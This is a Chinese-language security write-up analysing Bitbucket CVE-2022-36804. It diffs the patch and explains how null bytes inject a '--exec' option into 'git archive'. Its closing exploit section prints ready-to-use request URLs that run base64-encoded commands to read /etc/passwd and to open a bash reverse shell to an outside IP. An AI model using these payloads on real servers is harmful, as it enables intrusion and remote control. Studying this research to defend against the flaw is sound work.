Critical severity command injection vulnerability - CVE-2022-36804
准备diff下8.3.0 - 8.3.1,顺便熟悉下idea diff jar包的流程:
- https://product-downloads.atlassian.com/software/stash/downloads/atlassian-bitbucket-8.3.0-x64.bin
- https://product-downloads.atlassian.com/software/stash/downloads/atlassian-bitbucket-8.3.1-x64.bin
分析patch,发现了两处可疑的点:

patch#1
found bitbucket/atlassian-bitbucket-8.3.0-x64/app/WEB-INF/lib/nuprocess-2.0.2-atlassian-3.jar!/com/zaxxer/nuprocess/NuProcessBuilder.class
the patch#1 is like:
this.ensureNoNullCharacters(commands);
新加了一个方法ensureNoNullCharacters
- command.indexOf(0),查找command里面有没有
\u0000这个字符 - 如果有,就直接抛异常,
Commands may not contain null characters,poc里面可加下这个提示值
private void ensureNoNullCharacters(List<String> commands) {
Iterator var2 = commands.iterator();
String command;
do {
if (!var2.hasNext()) {
return;
}
command = (String)var2.next();
} while(command.indexOf(0) < 0);
throw new IllegalArgumentException("Commands may not contain null characters");
}
全量补丁在下面:
public class NuProcessBuilder {
private static final NuProcessFactory factory;
private final List<String> command;
private final TreeMap<String, String> environment;
private Path cwd;
private NuProcessHandler processListener;
public NuProcessBuilder(List<String> commands, Map<String, String> environment) {
if (commands != null && !commands.isEmpty()) {
this.ensureNoNullCharacters(commands); //patch
this.environment = new TreeMap(environment);
this.command = new ArrayList(commands);
} else {
throw new IllegalArgumentException("List of commands may not be null or empty");
}
}
public NuProcessBuilder(List<String> commands) {
if (commands != null && !commands.isEmpty()) {
this.ensureNoNullCharacters(commands); //patch
this.environment = new TreeMap(System.getenv());
this.command = new ArrayList(commands);
} else {
throw new IllegalArgumentException("List of commands may not be null or empty");
}
}
public NuProcessBuilder(String... commands) {
if (commands != null && commands.length != 0) {
List<String> commandsList = Arrays.asList(commands); //patch
this.ensureNoNullCharacters(commandsList); //patch
this.environment = new TreeMap(System.getenv());
this.command = new ArrayList(commandsList);
} else {
throw new IllegalArgumentException("List of commands may not be null or empty");
}
}
patch#2
another patch is at bitbucket/atlassian-bitbucket-8.3.0-x64/app/WEB-INF/lib/bitbucket-process-8.3.1.jar
增加了调用
addIf(NioProcessParameters$Builder::nonNullAndNoNullChar, this.arguments, value);
全文是
private static boolean nonNullAndNoNullChar(String value) {
if (value == null) {
return false;
} else {
requireNoNullChars(value);
return true;
}
}
private static void requireNoNullChars(String value) {
if (value.indexOf(0) >= 0) {
throw new IllegalArgumentException("Unsupported \\0 character detected: " + value);
}
}
private static String requireNonBlankAndNoNullChar(String value, String msg) {
requireNonBlank(value, msg);
requireNoNullChars(value);
return value;
}
Also, for those who’s not familiar with NuProcessBuilder, check: https://github.com/brettwooldridge/NuProcess
NuProcess是开源的代码,便于在不同操作系统下面执行命令,bitbucket用的是atlanssian自己魔改了的版本
public class NuProcessBuilder {
//...
static {
String factoryClassName = null;
String osname = System.getProperty("os.name").toLowerCase();
if (!osname.contains("mac") && !osname.contains("freebsd")) {
if (osname.contains("win")) {
factoryClassName = "com.zaxxer.nuprocess.windows.WinProcessFactory";
} else if (osname.contains("linux")) {
factoryClassName = "com.zaxxer.nuprocess.linux.LinProcessFactory";
} else if (osname.contains("sunos")) {
factoryClassName = "com.zaxxer.nuprocess.solaris.SolProcessFactory";
}
} else {
factoryClassName = "com.zaxxer.nuprocess.osx.OsxProcessFactory";
}
if (factoryClassName == null) {
throw new RuntimeException("Unsupported operating system: " + osname);
} else {
try {
Class<?> forName = Class.forName(factoryClassName);
factory = (NuProcessFactory)forName.newInstance();
} catch (Exception var3) {
throw new RuntimeException(var3);
}
}
}
再往下跟,最终定位到NuProcess,绿色部分是补丁新增的内容

分析1
After analysing the old version of nuprocess, it turns out to be functional updates, not security patch.
一开始分析atlanssian家魔改的nuprocess,以为是有安全加固,结果只是feature的更新。
分析相关代码,关键字NuProcess, 发现
atlassian-bitbucket-8.3.0-x64/app/WEB-INF/classes/stash-context.xml
NuNioProcess
NioProcess
NioNuProcessHandler
exitHandler
commandLine
NioProcessParameters
nonNullAndNoNullChar
this.arguments
# install
漏洞可能是利用\u0000来进行某些bypass操作,命令注入,Null Byte Injection
2022年9月16日,看了安全客上的分析文章<https://www.anquanke.com/post/id/280193>
思路对了,只是差一些。
- bitbucket基于Java开发,底层调用了git命令,分隔符就是null byte(
0x00)- Null byte可以注入的字符,注入恶意参数。

官方披露的漏洞效果是仅在有只读权限情况下可以进行命令执行,通过枚举应用所有只读权限情况下可以构造的 git 指令,找到一处进行参数注入,构造恶意 url 访问即可造成任意命令执行。
参数注入

测试了相关payload,发现并不会被我的断点断下来,费解。
分析2:
应该是滥用的archive模块(https://git-scm.com/docs/git-archive),因为在git的源代码里面,只有archive有remote参数

分析猜想
8.3.0-8.3.1的升级内容里,主要涉及到两个文件:
bitbucket/atlassian-bitbucket-8.3.0-x64/app/WEB-INF/lib/nuprocess-2.0.2-atlassian-3.jar- 原本开源在gituhb, atlassian开发组对其进行了二次开发
bitbucket/atlassian-bitbucket-8.3.0-x64/app/WEB-INF/lib/bitbucket-process-8.3.0.jar- 基本上就是封装了一些执行命令的函数(如果有调用到此处的函数, 很可能存在风险)
- 但是全局没有找到调用链,只有一个bean id,不知如何触发
补丁分析
(1)在bitbucket-process-8.3.0.jar中, 有这两处补丁
addIf(NioProcessParameters$Builder::nonNullAndNoNullChar, this.arguments, value);
函数的定义在下面, 就是检测了\u0000——检测NULL时为啥呢?
private static boolean nonNullAndNoNullChar(String value) {
if (value == null) {
return false;
} else {
requireNoNullChars(value);
return true;
}
}
private static void requireNoNullChars(String value) {
if (value.indexOf(0) >= 0) {
throw new IllegalArgumentException("Unsupported \\0 character detected: " + value);
}
}
private static String requireNonBlankAndNoNullChar(String value, String msg) {
requireNonBlank(value, msg);
requireNoNullChars(value);
return value;
}
(2)nuprocess-2.0.2-atlassian-3.jar的补丁
增加了ensureNoNullCharacters校验,
public class NuProcessBuilder {
private static final NuProcessFactory factory;
private final List<String> command;
private final TreeMap<String, String> environment;
private Path cwd;
private NuProcessHandler processListener;
public NuProcessBuilder(List<String> commands, Map<String, String> environment) {
if (commands != null && !commands.isEmpty()) {
this.ensureNoNullCharacters(commands); //patch
this.environment = new TreeMap(environment);
this.command = new ArrayList(commands);
} else {
throw new IllegalArgumentException("List of commands may not be null or empty");
}
}
public NuProcessBuilder(List<String> commands) {
if (commands != null && !commands.isEmpty()) {
this.ensureNoNullCharacters(commands); //patch
this.environment = new TreeMap(System.getenv());
this.command = new ArrayList(commands);
} else {
throw new IllegalArgumentException("List of commands may not be null or empty");
}
}
public NuProcessBuilder(String... commands) {
if (commands != null && commands.length != 0) {
List<String> commandsList = Arrays.asList(commands); //patch
this.ensureNoNullCharacters(commandsList); //patch
this.environment = new TreeMap(System.getenv());
this.command = new ArrayList(commandsList);
} else {
throw new IllegalArgumentException("List of commands may not be null or empty");
}
}
函数的作用,依然是在校验不能有NULL字符。
private void ensureNoNullCharacters(List<String> commands) {
Iterator var2 = commands.iterator();
String command;
do {
if (!var2.hasNext()) {
return;
}
command = (String)var2.next();
} while(command.indexOf(0) < 0);
throw new IllegalArgumentException("Commands may not contain null characters");
}
所以,为啥要对NULL字符进行重重校验?
初步猜测,攻击者通过某种方式调用了命令执行函数,手法可能有:
- 任意对象实例化(类似Spring-Core反序列,更改了某些重要变量;但历史上只有7995端口出过反序列,HTTP端口没有)
- 某些冷门Feature,例如scm那一堆旧的功能,我未跟进,不过看历史文章,可能会有搞头。
再通过NULL字节绕过了某些限制??天马行空起来。。
暂时
- 没有找到命令执行处的调用点

事后诸葛亮
在分析安全客的文章无果之后,终于等到github出了真正PoC(https://github.com/notxesh/CVE-2022-36804-PoC/blob/main/CVE-2022-36804.py)。
我们来跟一跟漏洞的调用栈,分析一波原因。
首先搞明白,这是什么类型的漏洞?——参数注入。
:::color1
在**git archive**命令中,利用空字符,注入**--exec**选项,从而执行任意命令。
:::
:::danger 为了完整地复现这个漏洞,首先要回答下面几个问题:
- 为什么是
%00? - 为什么只能注入选项,不能直接用&&、||等符号来命令注入?
- 为什么是git archive?
:::
(1)为什么是%00


这个问题的一个反面是,为啥%00可以注入参数,但是常用的空格%20却不行。
在bash下测试,发现空字符在bash中会被忽略。
可见空字符并不是bash中默认的分隔符(delimiter)。
$ printf "cat\\x00/etc/passwd" |sh
sh: line 1: cat/etc/passwd: No such file or directory
那思路往回走,bitbucket后台是如何拼接git命令的呢?回头去看安全客的那篇文章,里面提到bitbucket拼接命令的关键函数:
import java.util.*;
import java.lang.*;
import java.util.ArrayList;
import java.util.Arrays;
public class check_null
{
public static void main(String xyz[])
{
String[] stringArray = new String[]{"git", "archive", "Hello\u0000World!", "-- "};
List<String> command = new ArrayList(Arrays.asList(stringArray));
String[] cmdarray = (String[])command.toArray(new String[0]);
byte[][] args = new byte[cmdarray.length - 1][];
System.out.println( args );
int size = args.length;
// 取 git 命令数组参数,第0位之后,存储到 args[][]
for(int i = 0; i < args.length; ++i) {
args[i] = cmdarray[i + 1].getBytes();
size += args[i].length;
}
// 最终存储参数的 byte数组 argBlock
byte[] argBlock = new byte[size];
int i = 0;
byte[][] var9 = args;
int var10 = args.length;
for(int var11 = 0; var11 < var10; ++var11) {
byte[] arg = var9[var11];
// 使用 system.arraycopy 将 arg[][] 二维数组拷贝到 argBlock
System.arraycopy(arg, 0, argBlock, i, arg.length);
i += arg.length + 1;
}
System.out.println(args);
System.out.println(argBlock);
}
}
可以看出,输入的参数是一个命令数组,返回的是参数列表。经过它的处理,我们Hello\u0000World!里面的NUL字符,浑水摸鱼地加到了参数里面,示意图如下:
# 输入
{"git", "archive", "Hello\u0000World!", "-- "};
# 输出
[a, r, c, h, i, v, e, <NUL>, H, e, l, l, o, <NUL>, W, o, r, l, d, !, <NUL>, -, -, , <NUL>]
== {'archive', 'Hello', 'World!', '--' }
于是我们现在实现了参数注入。
(2)为什么不能命令注入,只能参数注入
同样的,command会解析成arg_list,参数列表,所以我们能够通过注入空字节,来增加参数。
但是并不能改变执行顺序,也不能通过增加逻辑运算符来命令注入、
常识:
{"git", "--prefix=<INJECT>"},若<INJECT>可控,也不能注入其它的命令。因为此时执行命令的主体是git,而不是其它可执行文件。第二个参数的所有内容,都只会被视为是git命令的选项。
所以,我们没法直接用&&、||进行参数注入(改变执行逻辑/执行顺序),只能想办法加恶意的选项。
(3)为什么是git archive?
因为,git archive可以未授权访问,对应前台的下载功能。

archive有--exec选项,可以被滥用来执行命令。
EXP
https://github.com/notxesh/CVE-2022-36804-PoC/blob/main/CVE-2022-36804.py
# rce
http://10.10.111.35:7990/rest/api/latest/projects/PUB/repos/repo/archive?format=zip&&path=&prefix=test/%00--remote=''%00--exec=echo+'Y2F0IC9ldGMvcGFzc3dkCg=='+%7c+base64+-d++%7c+sh;%00
# 反弹shell
http://10.10.111.35:7990/rest/api/latest/projects/PUB/repos/repo/archive?format=zip&=&path=&prefix=test/%00--remote=''%00--exec=echo+'YmFzaCAtaSA%2bJiAvZGV2L3RjcC8xMC4xMC4xMTEuMS80NDQ0IDA%2bJjEK'+%7c+base64+-d++%7c+sh;%00
注意:执行的命令并非完全回显,会被截断;视作无回显的RCE就行了
例如,执行cat /etc/passwd,只显示了root
